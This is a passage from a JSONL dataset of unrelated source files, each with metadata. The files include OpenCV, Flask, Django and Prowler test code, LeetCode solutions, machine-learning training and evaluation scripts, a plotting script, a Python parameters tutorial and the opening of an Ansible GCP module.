lines\nkernel = np.array([[2,-1,-1],[-1,2,-1],[-1,-1,2]])/12\n\n# Convolving the image with the kernel using the filter2d() function of the OpenCV library\n_45degreelines = cv2.filter2D(src=img,ddepth=cv2.CV_8U,kernel=kernel)\n\n#Displaying the image in which we have detected the 45 degrees lines only\ncv2.imshow('Output Image with 45 degree lines only ',_45degreelines )\n\n# Display the images and wait till any key is pressed\ncv2.waitKey(0)\n# Destroy all the windows created by the imshow() function of the OpenCV\ncv2.destroyAllWindows()\n","sub_path":"OpenCv-Assignment1/Code/Prob9.py","file_name":"Prob9.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"429059354","text":"from datetime import datetime\nfrom unittest import mock\n\nfrom prowler.providers.aws.services.backup.backup_service import BackupReportPlan\n\nAWS_REGION = \"eu-west-1\"\n\n\nclass Test_backup_reportplans_exist:\n def test_no_backup_report_plans(self):\n backup_client = mock.MagicMock\n backup_client.region = AWS_REGION\n backup_client.backup_report_plans = []\n with mock.patch(\n \"prowler.providers.aws.services.backup.backup_service.Backup\",\n new=backup_client,\n ):\n # Test Check\n from prowler.providers.aws.services.backup.backup_reportplans_exist.backup_reportplans_exist import (\n backup_reportplans_exist,\n )\n\n check = backup_reportplans_exist()\n result = check.execute()\n\n assert len(result) == 1\n assert result[0].status == \"FAIL\"\n assert result[0].status_extended == \"No Backup Report Plan Exist\"\n assert result[0].resource_id == \"No Backups\"\n assert result[0].resource_arn == \"\"\n assert result[0].region == AWS_REGION\n\n def test_one_backup_report_plan(self):\n backup_client = mock.MagicMock\n backup_client.region = AWS_REGION\n backup_client.backup_report_plans = [\n BackupReportPlan(\n arn=\"ARN\",\n region=AWS_REGION,\n name=\"MyBackupReportPlan\",\n last_attempted_execution_date=datetime(2015, 1, 1),\n last_successful_execution_date=datetime(2015, 1, 1),\n )\n ]\n\n with mock.patch(\n \"prowler.providers.aws.services.backup.backup_service.Backup\",\n new=backup_client,\n ):\n # Test Check\n from prowler.providers.aws.services.backup.backup_reportplans_exist.backup_reportplans_exist import (\n backup_reportplans_exist,\n )\n\n check = backup_reportplans_exist()\n result = check.execute()\n\n assert len(result) == 1\n assert result[0].status == \"PASS\"\n assert (\n result[0].status_extended\n == \"At least one backup report plan exists: \" + result[0].resource_id\n )\n assert result[0].resource_id == \"MyBackupReportPlan\"\n assert result[0].resource_arn == \"ARN\"\n assert result[0].region == AWS_REGION\n","sub_path":"tests/providers/aws/services/backup/backup_reportplans_exist/backup_reportplans_exist_test.py","file_name":"backup_reportplans_exist_test.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"425701078","text":"from flask_testing import TestCase\nfrom backend.api import create_app, db\nfrom backend.models.user import User\nfrom backend.models.user_role import UserRole\nfrom backend.models.session import Session\nfrom backend.utils.logs import get_logger\n\n\nlogger = get_logger(__name__)\n\n\nclass APITestClient(object):\n def __init__(self, test_case, user):\n self.client = test_case.client\n self.session = Session(\n user=user,\n token=\"test-session-{id_}\".format(id_=user.id_)\n )\n self.user = user\n db.session.add(self.session)\n db.session.commit()\n\n def get(self, route):\n response = self.client.get(route, data={\n 'session_token': self.session.token,\n })\n assert response.status_code == 200, response.json\n return response.json\n\n def post(self, route, data):\n data = data.copy()\n data.update({\n 'session_token': self.session.token,\n })\n response = self.client.post(route, data=data)\n assert response.status_code == 201, response.json\n return response.json\n\n def delete(self, route):\n response = self.client.delete(route, data={\n 'session_token': self.session.token,\n })\n assert response.status_code == 202, response.json\n return response.json\n\nclass APITestCase(TestCase):\n def create_app(self):\n return create_app(test_mode=True)\n\n def setUp(self):\n logger.info('SET_UP', test_case=self)\n db.create_all()\n\n user = User(user_roles=[UserRole(role='user')])\n db.session.add(user)\n\n admin_user = User(user_roles=[UserRole(role='admin')])\n db.session.add(admin_user)\n\n db.session.commit()\n\n self.user_client = APITestClient(self, user=user)\n self.admin_client = APITestClient(self, user=admin_user)\n\n def tearDown(self):\n logger.info('TEAR_DOWN', test_case=self)\n db.drop_all()\n","sub_path":"backend/utils/api_test_case.py","file_name":"api_test_case.py","file_ext":"py","file_size_in_byte":1960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"628323821","text":"class Solution(object):\n def minDistance(self, word1, word2):\n \"\"\"\n :type word1: str\n :type word2: str\n :rtype: int\n \"\"\"\n # start thinking at 8:58\n \n # rethink dp at 9:47\n # dp[i][j] = answer for word1[:i] and word2[:j]\n # dp[i][j] = \n # - dp[i-1][j] + 1\n # - dp[i][j-1] + 1\n # - dp[i-1][j-1] + 0 if a[i] == b[j] else 1\n # dp[i][0] = i, dp[0][j] = j\n # start coding at 10:40\n if len(word1) == 0: return len(word2);\n if len(word2) == 0: return len(word1);\n dp = [[0 for i in range(len(word2)+1)] for j in range(len(word1)+1)]; # so here range become dp[i] instead of dp[i-1]\n for i in range(len(word1)+1):\n dp[i][0] = i;\n for j in range(len(word2)+1):\n dp[0][j] = j;\n for i in range(1, len(word1)+1):\n for j in range(1, len(word2)+1):\n dp[i][j] = min(dp[i-1][j] + 1, dp[i][j-1] + 1, dp[i-1][j-1] + (0 if word1[i-1] == word2[j-1] else 1));\n \n return dp[len(word1)][len(word2)];","sub_path":"1-100/71-80/python/72_edit_distance.py","file_name":"72_edit_distance.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"295053622","text":"from django.test import TestCase\nfrom django.core.urlresolvers import resolve, reverse\n\n\nclass TestRequestsHistoryURLs(TestCase):\n def test_requests_history_view_url(self):\n \"\"\"\n Ensures that a URL pattern name `requests_history` is valid and the\n pattern is resolved to `RequestsHistoryView`\n \"\"\"\n requests_history = resolve('/requests_history/')\n\n self.assertEqual(reverse('requests_history'), '/requests_history/',\n 'A view name `requests_history` should be reversed '\n 'to the URL `/requests_history/`')\n self.assertEqual(requests_history.func.__name__, 'RequestsHistoryView',\n 'Should be resolved to `RequestsHistoryView`')\n\n def test_request_pulling_view_url(self):\n \"\"\"\n Ensures that a URL pattern name `pull_new_requests` is valid\n and the pattern is resolved to `RequestsPullingView`\n \"\"\"\n pulling = resolve('/pull_new_requests/')\n\n self.assertEqual(reverse('pull_new_requests'),\n '/pull_new_requests/',\n 'A view name `pull_new_requests` should be '\n 'reversed to the URL `/pull_new_requests/`')\n self.assertEqual(pulling.func.__name__, 'RequestsPullingView',\n 'Should be resolved to `RequestsPullingView`')\n","sub_path":"apps/requests_history/tests/test_urls.py","file_name":"test_urls.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"93221658","text":"class Solution(object):\n def maxIncreaseKeepingSkyline(self, grid):\n \"\"\"\n :type grid: List[List[int]]\n :rtype: int\n \"\"\"\n r = 0\n index = index2 = 0\n for i in grid:\n for j in i:\n r += int(min(max(grid[index]), max([x[index2] for x in grid]))) - j\n index2 = (index2 + 1) % len(i)\n index += 1\n return r\n\n\n\ngrid = [[3,0,8,4],\n [2,4,5,7],\n [9,2,6,3],\n [0,3,1,0]]\nres = Solution().maxIncreaseKeepingSkyline(grid)\nprint(res)","sub_path":"maxIncreaseKeepingSkyline.py","file_name":"maxIncreaseKeepingSkyline.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"283609384","text":"#!/usr/bin/env python\n\nimport os\n\n# customize as needed\ndef is_hz_file(filename):\n return 'hz_' in filename\n\ndef createHTML(input_dir, output_html, predicate=None):\n files = os.listdir(input_dir)\n files.sort(reverse=True)\n with open(output_html, \"w\") as f:\n f.write(\"\\n\")\n\nif __name__ == \"__main__\":\n createHTML('/misc/yoda/www/plots/screenshots', '/misc/yoda/www/plots/user/pims/screenshots.html', predicate=None)\n","sub_path":"utils/html_listdir.py","file_name":"html_listdir.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"10353284","text":"import numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nimport cv2\nimport time\n\nmodel_path = 'models/pb/DRAGAN_mnist-2700.pb'\n\nimage_height = 28\nimage_width = 28\nprior_size=62\none_hot=np.eye(10)\n\ndef eval():\n sess = tf.Session()\n with tf.gfile.FastGFile(model_path, \"rb\") as fr:\n graph_def = tf.GraphDef()\n graph_def.ParseFromString(fr.read())\n sess.graph.as_default()\n tf.import_graph_def(graph_def, name=\"\")\n\n sess.run(tf.global_variables_initializer())\n\n prior_input = sess.graph.get_tensor_by_name('z_prior:0')\n generated_output = sess.graph.get_tensor_by_name('generated_output:0')\n is_training = sess.graph.get_tensor_by_name('is_training:0')\n while True:\n z_prior = np.random.uniform(-1, 1, size=(1,prior_size))\n image_output = sess.run(generated_output,feed_dict={\n prior_input:z_prior,is_training:False})\n image_reshape_org = image_output[0].reshape((image_height,image_width))\n image_reshape = image_reshape_org * 255.0\n image_show = image_reshape.astype(np.uint8)\n\n image_show=cv2.resize(image_show,(image_height*2,image_width*2))\n cv2.imshow(\"image_fine\", image_show)\n cv2.waitKey(0)\n\n\n\nif __name__ == '__main__':\n eval()","sub_path":"Mnist_Based/DRAGAN/DRAGAN_mnist/eval_DRAGAN.py","file_name":"eval_DRAGAN.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"418048316","text":"# -*- coding: utf-8 -*-\n'''\n-------------------------------------------------\n Name: SSEBop_ET_temporal_plot.py\n Purpose:\n\n Author: Matt Bromley\n Created: Oct 9 2018\n Copyright: (c) DRI\n Python: 3.6\n-------------------------------------------------\n'''\nfrom collections import OrderedDict\nimport os\nimport pandas as pd\n#import numpy as np\nfrom bokeh.plotting import ColumnDataSource, figure, show, output_file, output_file\nfrom bokeh.layouts import column, gridplot\nfrom bokeh.io import reset_output, export_svgs, export_png\nfrom bokeh.models import HoverTool\nimport sys\n\n# Inputs\naoi = \"Railroad\"\n# aoi = \"Quinn\"\n# aoi = \"Carson\"\n\n# plot_value = \"Mean ET Actual\"\n# plot_value = \"Mean Water Deficit\"\nplot_value = \"Mean ET Reference\"\n\n# plot_value = \"mean_et_actual\"\n# plot_value = \"mean_water_deficit\"\n# plot_value = \"mean_et_reference\"\n\nname_dict = {\"Mean ET Actual\":\"mean_et_actual\", \"Mean Water Deficit\":\"mean_water_deficit\", \"Mean ET Reference\":\"mean_et_reference\"}\n\n# mean_values = ['mean_count', 'mean_et_actual', 'mean_et_fraction', 'mean_et_reference','mean_water deficit']\n\ncwd = os.getcwd()\nmissing_value = -9999\n# TODO: Rename this variable\nadjuster = -1\n\n# image output flags\npng_output_flag = True\nsvg_output_flag = False\n\n# if aoi == \"Quinn\":\n# if plot_value == \"Mean ET Actual\":\n# input_dir = r\"D:\\Personal-Python\\New_Zonal_Stats\\{}_mean_et_actual_temporal_plot_input\"\n# if plot_value == \"Mean Water Deficit\":\n# input_dir = r\"D:\\Personal-Python\\New_Zonal_Stats\\{}_mean_water deficit_temporal_plot_input\"\n# if plot_value == 'Mean ET Reference':\n# input_dir = r\"D:\\Personal-Python\\New_Zonal_Stats\\{}_mean_et_reference_temporal_plot_input\"\n#\n# if aoi == \"Carson\":\n# if plot_value == \"Mean ET Actual\":\n# input_dir = r\"D:\\Personal-Python\\New_Zonal_Stats\\{}_mean_et_actual_temporal_plot_input\"\n# if plot_value == \"Mean Water Deficit\":\n# input_dir = r\"D:\\Personal-Python\\New_Zonal_Stats\\{}_mean_water deficit_temporal_plot_input\"\n# if plot_value == 'Mean ET Reference':\n# input_dir = r\"D:\\Personal-Python\\New_Zonal_Stats\\{}_mean_et_reference_temporal_plot_input\"\n#\n# if aoi == \"Railroad\":\n# if plot_value == \"Mean ET Actual\":\n# input_dir = r\"D:\\Personal-Python\\New_Zonal_Stats\\{}_mean_et_actual_temporal_plot_input\"\n# if plot_value == \"Mean Water Deficit\":\n# input_dir = r\"D:\\Personal-Python\\New_Zonal_Stats\\{}_mean_water deficit_temporal_plot_input\"\n# if plot_value == 'Mean ET Reference':\n# input_dir = r\"D:\\Personal-Python\\New_Zonal_Stats\\{}_mean_et_reference_temporal_plot_input\"\n\ninput_dir = r\"D:\\Personal-Python\\New_Zonal_Stats\\{}_{}_temporal_plot_input\".format(aoi, name_dict[plot_value])\n\n# if plot_value == \"Mean ET Actual\":\n# input_dir = r\"D:\\Personal-Python\\New_Zonal_Stats\\{}_{}_temporal_plot_input\".format(aoi)\n# if plot_value == \"Mean Water Deficit\":\n# input_dir = r\"D:\\Personal-Python\\New_Zonal_Stats\\{}_mean_water deficit_temporal_plot_input\".format(aoi)\n# if plot_value == 'Mean ET Reference':\n# input_dir = r\"D:\\Personal-Python\\New_Zonal_Stats\\{}_mean_et_reference_temporal_plot_input\".format(aoi)\n\nfile_list = []\nfor file in os.listdir(input_dir):\n if file.endswith(\"_temporal_plot_input.csv\"):\n print(file)\n file_list.append(file)\nif len(file_list) == 0:\n print(\"No files within input directory match expected format.\")\n\n##red to yellow color ramp\nif plot_value == \"Mean Water Deficit\":\n # Manual min/max\n min_value = 1\n max_value = 250\n\n colors = [\"#FA1700\",\"#FA2E00\",\"#FB4500\",\"#FB5C00\",\"#FC7300\",\n \"#FC8B00\",\"#FDA200\",\"#FDB900\",\"#FED000\",\"#FEE700\",\n \"#FFFF00\",\"#E7FF00\",\"#D0FF00\",\"#B9FF00\",\"#A2FF00\",\n \"#8BFF00\",\"#73FF00\",\"#5CFF00\",\"#45FF00\",\"#2EFF00\",\n \"#17FF00\",\"#00FF00\"]\n colors.reverse()\n\nif plot_value == \"Mean ET Reference\":\n # Manual min/max\n min_value = 1\n max_value = 300\n\n colors = [\"#ffffd9\", \"#edf8b1\", \"#c7e9b4\", \"#7fcdbb\", \"#41b6c4\",\n \"#1d91c0\", \"#225ea8\", \"#253494\", \"#081d58\"]\n # file_list = file_list[1]\n\nif plot_value == \"Mean ET Actual\":\n # Manual min/max\n min_value = 1\n max_value = 200\n\n colors = [\"#D2B48C\", \"#D6BB8C\", \"#DAC28C\", \"#DEC98C\", \"#E3D08C\",\n \"#E7D78C\", \"#EBDE8C\", \"#F0E68C\", \"#C0D170\", \"#90BD54\",\n \"#60A838\", \"#30941C\", \"#008000\"]\n\n##number of colors within the color ramp\ncolor_num = len(colors)\n\nprint(\"Area of Interest:\\n {}\\n\".format(aoi))\nprint(\"Minimum {}: {}\".format(plot_value, min_value))\nprint(\"Maximum {}: {}\".format(plot_value, max_value))\n\n\nif min_value == False:\n min_value = data.min(axis=1,skipna=True,numeric_only=True).astype(int)\n min_value = min_value.min()\nif max_value == False:\n max_value = data.max(axis=1,skipna=True,numeric_only=True).astype(int)\n max_value = max_value.max()\n\n# print(file_list)\nprint(\"\\nZones:\")\nfor input_file in file_list:\n\n # Set up the data for plotting. We will need to have values for every\n # pair of year/month names. Map the rate to a color.\n month = []\n year = []\n color = []\n value = []\n\n ###Read in the CSV file\n zone_name = input_file.strip('_temporal_plot_input.csv')\n print(zone_name)\n inputdf = pd.read_csv(os.path.join(input_dir, input_file), na_values=missing_value)\n years = list(inputdf['year'])\n months = ['JAN', 'FEB', 'MAR', 'APR', 'MAY', 'JUN', 'JUL', 'AUG',\n 'SEP', 'OCT', 'NOV', 'DEC']\n start_year = inputdf['year'].min()\n end_year = inputdf['year'].max()\n inputdf = inputdf.set_index('year')\n inputdf.columns = months\n\n inputdf = inputdf.fillna(value=0)\n scale = int((max_value-min_value)/len(colors))+adjuster\n for y in years:\n for m in months:\n month.append(m)\n year.append(y)\n if inputdf[m][y] == 0:\n monthly_value = 0\n value.append(\"No Data\")\n color.append(\"#666666\")\n else:\n monthly_value = int(inputdf[m][y])\n value.append(str(monthly_value)+\" mm\")\n scale_value = int(monthly_value/scale)\n color.append(colors[min(scale_value, (color_num-1))])\n\n source = ColumnDataSource(\n data=dict(month=month, year=year, color=color, value=value))\n TOOLS = \"hover,save\"\n s = figure(title=\"Zone Name: {} Value: {}\".format(zone_name,plot_value),\n x_range=(start_year,end_year), y_range=list(reversed(months)),\n x_axis_location=\"below\", plot_width=1200, plot_height=400,\n toolbar_location=\"right\", tools=TOOLS)\n\n s.rect(\"year\", \"month\", 1, 1, source=source,\n color=\"color\", line_color=None)\n\n s.grid.grid_line_color = None\n s.axis.axis_line_color = None\n s.axis.major_tick_line_color = None\n s.axis.major_label_text_font_size = \"10pt\"\n s.axis.major_label_standoff = 15\n s.xaxis.major_label_orientation = 0#np.pi/3\n\n hover = s.select(dict(type=HoverTool))\n hover.tooltips = OrderedDict([\n ('Date', '@month @year'),\n (plot_value, '@value')])\n\n # TODO: output to one file (with many plots)\n # TODO: make sure that the plotted variable is in the name\n\n# PNG and SVG output\n if png_output_flag:\n p = s\n png_output_name = str(zone_name+\"_\"+str(start_year)+\"_\"+str(end_year)+\"_plot.png\")\n png_output_path = os.path.join(input_dir, png_output_name)\n export_png(p, filename=png_output_path)\n if svg_output_flag:\n p = s\n p.output_backend = \"svg\"\n svg_output_name = str(zone_name+\"_\"+str(start_year)+\"_\"+str(end_year)+\"_plot.svg\")\n svg_output_path = os.path.join(input_dir, svg_output_name)\n export_svgs(p, svg_output_path)\n\n # html_output_file_name = str(zone_name+\"_\"+str(start_year)+\"_\"+str(end_year)+\"_plot.html\")\n # html_output_file_dir = os.path.join(input_dir, html_output_file_name)\n # output_file(html_output_file_dir)\n # show(s)\n # reset_output()\n # del s\n\n all_s = s\n # show(s)\n # reset_output()\n # del s\n\n #This causes many windows to open, but also results in all plots in one html\n html_output_file_name = str(aoi+\"_ALL_\"+str(start_year)+\"_\"+str(end_year)+\"_plot.html\")\n html_output_file_dir = os.path.join(input_dir, html_output_file_name)\n output_file(html_output_file_dir)\n show(s)\n\n # sys.exit()\n\n","sub_path":"Old_Zonal_Stats/archive_29JAN/archive/SSEBop_ET_temporal_plot_v2.py","file_name":"SSEBop_ET_temporal_plot_v2.py","file_ext":"py","file_size_in_byte":8361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"173480027","text":"import argparse\nimport os\nimport random\n\nimport numpy as np\nimport torch\nimport sys\nsys.path.append(\"./\")\nfrom mmcv import Config\nfrom engineer.models.builder import build_backbone\nimport engineer.utils.logging as logging\nfrom engineer import __version__,__author__\nimport engineer.utils.misc as misc\nfrom engineer.datasets.builder import build_dataset\nfrom engineer.core.train_NewPCycle import train_model\nimport os\n\nlogger = logging.get_logger(__name__)\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Train a Motion GCN Module')\n parser.add_argument('--config', help='train config file path')\n parser.add_argument('--work_dir', help='the dir to save logs and models')\n parser.add_argument(\n '--resume_from', help='the checkpoint file to resume from')\n parser.add_argument(\n '--validate',\n action='store_true',\n help='whether to evaluate the checkpoint during training')\n parser.add_argument('--launcher',default='none',type=str)\n parser.add_argument(\n '--gpus',\n type=int,\n default=1,\n help='number of gpus to use '\n '(only applicable to non-distributed training)')\n parser.add_argument('--seed', type=int, default=None, help='random seed')\n parser.add_argument('--local_rank', type=int, default=0)\n parser.add_argument(\n '--autoscale-lr',\n action='store_true',\n help='automatically scale lr with the number of gpus')\n args = parser.parse_args()\n if 'LOCAL_RANK' not in os.environ:\n os.environ['LOCAL_RANK'] = str(args.local_rank)\n\n return args\n\n\ndef set_random_seed(seed):\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n\n\ndef main():\n args = parse_args()\n\n cfg = Config.fromfile(args.config)\n\n # set cudnn_benchmark\n if cfg.get('cudnn_benchmark', False):\n torch.backends.cudnn.benchmark = True\n # update configs according to CLI args\n if args.work_dir is not None:\n cfg.work_dir = args.work_dir\n if args.resume_from is not None:\n cfg.resume_from = args.resume_from\n cfg.gpus = args.gpus\n\n if args.autoscale_lr:\n # apply the linear scaling rule (https://arxiv.org/abs/1706.02677)\n cfg.optimizer['lr'] = cfg.optimizer['lr'] * cfg.gpus / 8\n\n # init distributed env first, since logger depends on the dist info.\n if args.launcher == 'none':\n distributed = False\n else:\n raise NotImplementedError(\"distributed Training is not necessary Here\")\n cfg.checkpoints = os.path.join(cfg.checkpoints,cfg.name)\n\n if not os.path.exists(cfg.checkpoints):\n os.mkdir(cfg.checkpoints)\n\n\n logging.setup_logging()\n\n logger.info('Distributed training: {}'.format(distributed))\n logger.info('GCN_Motion Version: {}\\t Author: {}'.format(__version__,__author__))\n logger.info('Config: {}'.format(cfg.text))\n # set random seeds\n if args.seed is not None:\n logger.info('Set random seed to {}'.format(args.seed))\n set_random_seed(args.seed)\n\n #build model and print model info\n model = build_backbone(cfg.model)\n\n misc.log_model_info(model)\n\n #optimizer build\n #follow the paper optimize we use here\n if cfg.optim_para['optimizer']['type'] == \"Adam\":\n optimizer = torch.optim.Adam(model.parameters(), lr=cfg.optim_para['optimizer']['lr'])\n\n #datasets build\n test_datasets=dict()\n for act in cfg.actions['all']:\n cfg.data.test.actions=act\n test_datasets[act] = build_dataset(cfg.data.test)\n val_dataset = build_dataset(cfg.data.val)\n train_dataset = build_dataset(cfg.data.train)\n logger.info(\">>> data loaded !\")\n logger.info(\">>> train data {}\".format(train_dataset.__len__()))\n logger.info(\">>> validation data {}\".format(val_dataset.__len__()))\n\n # add an attribute for visualization convenience\n train_model(\n model,\n [train_dataset,val_dataset,test_datasets],\n cfg,\n distributed=distributed,\n optimizer = optimizer\n )\n\n\nif __name__ == '__main__':\n main()","sub_path":"tools/train_NewPCycle.py","file_name":"train_NewPCycle.py","file_ext":"py","file_size_in_byte":4091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"454203499","text":"# Created by liu on 2016/3/31.\n\n# 函数的参数\n\n# def power(x):\n# return x * x\n\n# 对于power(x)函数,参数x就是一个位置参数。\n# 当我们调用power函数时,必须传入有且仅有的一个参数x:\n\n# print(power(12)) # 144\n\ndef power(x,n): # 修改后的power(x, n)函数有两个参数:x和n,这两个参数都是位置参数,调用函数时,传入的两个值按照位置顺序依次赋给参数x和n。\n s = 1\n while n > 0:\n s = s * x\n n = n - 1\n return s\n\nprint(power(5,3))\n\n# ----------------------------------------------------------------------------------------------------------------------\n# 默认参数\n\ndef power(x,n = 2): # 调用power(x)时,相当于调用power(x, 2):\n s = 1\n while n > 0:\n s = s * x\n n = n - 1\n return s\n\nprint(power(5))\n\n# 一是必选参数在前,默认参数在后,否则Python的解释器会报错(思考一下为什么默认参数不能放在必选参数前面);\n# 二是如何设置默认参数。\n# 当函数有多个参数时,把变化大的参数放前面,变化小的参数放后面。变化小的参数就可以作为默认参数。\n\ndef enroll(name, gender, age=6, city='Beijing'):\n print('name:', name)\n print('gender:', gender)\n print('age:', age)\n print('city:', city)\n\n# 有多个默认参数时,调用的时候,既可以按顺序提供默认参数,\n# 比如调用enroll('Bob', 'M', 7),意思是,除了name,gender这两个参数外,最后1个参数应用在参数age上,city参数由于没有提供,仍然使用默认值。\n#\n# 也可以不按顺序提供部分默认参数。当不按顺序提供部分默认参数时,需要把参数名写上。\n# 比如调用enroll('Adam', 'M', city='Tianjin'),意思是,city参数用传进去的值,其他默认参数继续使用默认值。\n\n# ----------------------------------------------------------------------------------------------------------------------\n# 可变参数\n\n\n# def calc(numbers):\n# s = 0;\n# for n in numbers:\n# s = s + n * n\n# return s\n\n\n# print(calc((1,2,3))) # 调用的时候,需要先组装出一个list或tuple:\n# 希望传参数calc(1,2,3,4)进行简化,不用list或tuple包装,参数前面加一个*\n# 在函数内部,参数numbers接收到的是一个tuple,因此,函数代码完全不变。但是,调用该函数时,可以传入任意个参数,包括0个参数:\n\n\ndef calc(*numbers):\n s = 0;\n for n in numbers:\n s = s + n * n\n return s\n\n\nprint(calc(1,2,3,4))\n\n# 如果已经有一个list或tupl\n\nnum = (1,3,4)\n\n# print(calc(num)) # 错误 can't multiply sequence by non-int of type 'tuple'\n#\n\nprint(calc(num[0],num[1],num[2]))\n\n# 这种写法当然是可行的,问题是太繁琐,所以Python允许你在list或tuple前面加一个*号,把list或tuple的元素变成可变参数传进去:\n\nprint(calc(*num))\n\n# *nums表示把nums这个list的所有元素作为可变参数传进去。\n\n# ----------------------------------------------------------------------------------------------------------------------\n# 关键字参数\n# 可变参数允许你传入0个或任意个参数,这些可变参数在函数调用时自动组装为一个tuple。\n# 而关键字参数允许你传入0个或任意个含参数名的参数,这些关键字参数在函数内部自动组装为一个dict\n\ndef person(name,age,**kw):\n print('name:',name,'age:',age,'other:',kw)\n\nperson('liu',18)\nperson('liu',18,city='boxing')\nperson('liu',18,city='boxing',school='yantai')\n\nother = {'city':'beijing','university':'yantai','job':'android'}\nperson('liu',18,**other)\n\n# **other表示把other这个dict的所有key-value用关键字参数传入到函数的**kw参数,kw将获得一个dict,\n# 注意kw获得的dict是extra的一份拷贝,对kw的改动不会影响到函数外的extra。\n\n# ----------------------------------------------------------------------------------------------------------------------\n# 命名关键字参数\n# 对于关键字参数,函数的调用者可以传入任意不受限制的关键字参数。至于到底传入了哪些,就需要在函数内部通过kw检查。\n#\n# 仍以person()函数为例,我们希望检查是否有city和job参数:\n\n# def person(name, age, **kw):\n# if 'city' in kw:\n# # 有city参数\n# pass\n# if 'job' in kw:\n# # 有job参数\n# pass\n# print('name:', name, 'age:', age, 'other:', kw)\n\n# 如果要限制关键字参数的名字,就可以用命名关键字参数,例如,只接收city和job作为关键字参数。这种方式定义的函数如下:\n\ndef person(name,age,*,city,job):\n print(name,age,'city:',city,'job:',job)\n\nperson('asdfasdf',234,city='asdfasdf',job=15)\n\n# 和关键字参数**kw不同,命名关键字参数需要一个特殊分隔符*,*后面的参数被视为命名关键字参数。\n# 命名关键字参数必须传入参数名,这和位置参数不同。如果没有传入参数名,调用将报错:\n# 没有参数名,将视为位置参数\n# 命名关键字参数可以有默认值\n# 使用命名关键字参数时,要特别注意,*不是参数,而是特殊分隔符。如果缺少*,Python解释器将无法识别位置参数和命名关键字参数\n\n\n# 参数定义的顺序必须是:必选参数、默认参数、可变参数/命名关键字参数和关键字参数。可变参数和命名关键字参数无法同事出现\n\n\n# Python的函数具有非常灵活的参数形态,既可以实现简单的调用,又可以传入非常复杂的参数。\n#\n# 默认参数一定要用不可变对象,如果是可变对象,程序运行时会有逻辑错误!\n#\n# 要注意定义可变参数和关键字参数的语法:\n#\n# *args是可变参数,args接收的是一个tuple;\n#\n# **kw是关键字参数,kw接收的是一个dict。\n#\n# 以及调用函数时如何传入可变参数和关键字参数的语法:\n#\n# 可变参数既可以直接传入:func(1, 2, 3),又可以先组装list或tuple,再通过*args传入:func(*(1, 2, 3));\n#\n# 关键字参数既可以直接传入:func(a=1, b=2),又可以先组装dict,再通过**kw传入:func(**{'a': 1, 'b': 2})。\n#\n# 使用*args和**kw是Python的习惯写法,当然也可以用其他参数名,但最好使用习惯用法。\n#\n# 命名的关键字参数是为了限制调用者可以传入的参数名,同时可以提供默认值。\n#\n# 定义命名的关键字参数不要忘了写分隔符*,否则定义的将是位置参数。","sub_path":"FunctionDemo2.py","file_name":"FunctionDemo2.py","file_ext":"py","file_size_in_byte":6570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"150379820","text":"import json\nimport pytest\n\nfrom helpers.utils import tag_item_schema_validator, validate_response_for_invalid_site\nfrom tst.stack_api_test import StackAPIBaseTest\n\n\nclass TestGetTagsAPI(StackAPIBaseTest):\n timeout = 60\n\n @pytest.mark.timeout(timeout)\n def test_tag_info(self):\n site_name = self.get_test_data_for_site_name()\n response = self.stack_exchange.get_tags(site_name)\n if response.status_code == 200:\n response = json.loads(response.text)\n tag_item_schema_validator(response)\n else:\n assert response.status_code == 400\n response = json.loads(response.text)\n validate_response_for_invalid_site(response, site_name)\n\n\n","sub_path":"tst/test_get_tags_api.py","file_name":"test_get_tags_api.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"369062649","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2017 Google\n# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\n# ----------------------------------------------------------------------------\n#\n# *** AUTO GENERATED CODE *** AUTO GENERATED CODE ***\n#\n# ----------------------------------------------------------------------------\n#\n# This file is automatically generated by Magic Modules and manual\n# changes will be clobbered when the file is regenerated.\n#\n# Please read more about how to change this file at\n# https://www.github.com/GoogleCloudPlatform/magic-modules\n#\n# ----------------------------------------------------------------------------\n\nfrom __future__ import absolute_import, division, print_function\n\n__metaclass__ = type\n\n################################################################################\n# Documentation\n################################################################################\n\nANSIBLE_METADATA = {'metadata_version': '1.1', 'status': [\"preview\"], 'supported_by': 'community'}\n\nDOCUMENTATION = '''\n---\nmodule: gcp_compute_instance_group\ndescription:\n- Represents an Instance Group resource. Instance groups are self-managed and can\n contain identical or different instances. Instance groups do not use an instance\n template. Unlike managed instance groups, you must create and add instances to an\n instance group manually.\nshort_description: Creates a GCP InstanceGroup\nversion_added: 2.6\nauthor: Google Inc. (@googlecloudplatform)\nrequirements:\n- python >= 2.6\n- requests >= 2.18.4\n- google-auth >= 1.3.0\noptions:\n state:\n description:\n - Whether the given object should exist in GCP\n choices:\n - present\n - absent\n default: present\n type: str\n description:\n description:\n - An optional description of this resource. Provide this property when you create\n the resource.\n required: false\n type: str\n name:\n description:\n 